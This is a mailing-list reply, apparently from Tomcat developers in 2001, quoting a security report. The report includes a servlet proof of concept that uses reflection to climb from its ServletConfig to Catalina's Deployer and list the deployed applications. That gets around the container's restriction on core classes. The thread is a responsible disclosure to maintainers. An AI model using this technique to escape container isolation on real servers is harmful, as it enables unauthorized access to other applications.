On 11 May 2001, Fabien Le Floc'h wrote:

> I apologize for repeating this, but I did not yet get any answer.
> 
> I wrote a servlet in a classic WAR file at an arbitrary location and
> NOT in the org.apache.catalina package. From this servlet, I was able
> to access a method on the Deployer, i.e. I was able to access anything
> public in any Container "from outside". This is only working by using
> reflection.
> 

I'm investigating this one (and another reported security issue) right
now.  I've got an equivalent test case, so I won't need a war file.

Craig

> Here is the code (not clean, sorry about that) for the doGet method:
> 
>       response.setContentType("text/plain");
>       PrintWriter writer = response.getWriter();
> 
>       Object theWrapper = (Object) this.getServletConfig();
>       try {
>           Method method = theWrapper.getClass().getMethod("getParent", new Class[] 
>{});
> 
>           Object theContext = method.invoke(theWrapper, new Object[] {});
>           method = theContext.getClass().getMethod("getParent", new Class[] {});
>           Object theDeployer = method.invoke(theContext, new Object[] {});
>           method = theDeployer.getClass().getMethod("findDeployedApps", new Class[] 
>{});
>           Object deployedApps = method.invoke(theDeployer, new Object[] {});
>           String[] apps = (String[]) deployedApps;
>           writer.println("detected apps:");
>           for (int i=0; i<apps.length;i++) {
>               writer.println(apps[i]);
>           }
>       } catch (Exception e) {
>           e.printStackTrace();
>           writer.println("An exception occured when invoking the method, 
>"+e.getMessage());
>       }
>       writer.flush();
>       writer.close();
> 
> 
> 
> Conclusion: there is a security issue. We don't need the prerequisite to access 
>Catalina core classes. I am really wondering how it would be possible to fix this 
>security problem without an important redesign.
> 
> 
> Regards,
> 
> 
> Fabien
> 
> P.S.: should I include a WAR file?
> 
> 

Reply via email to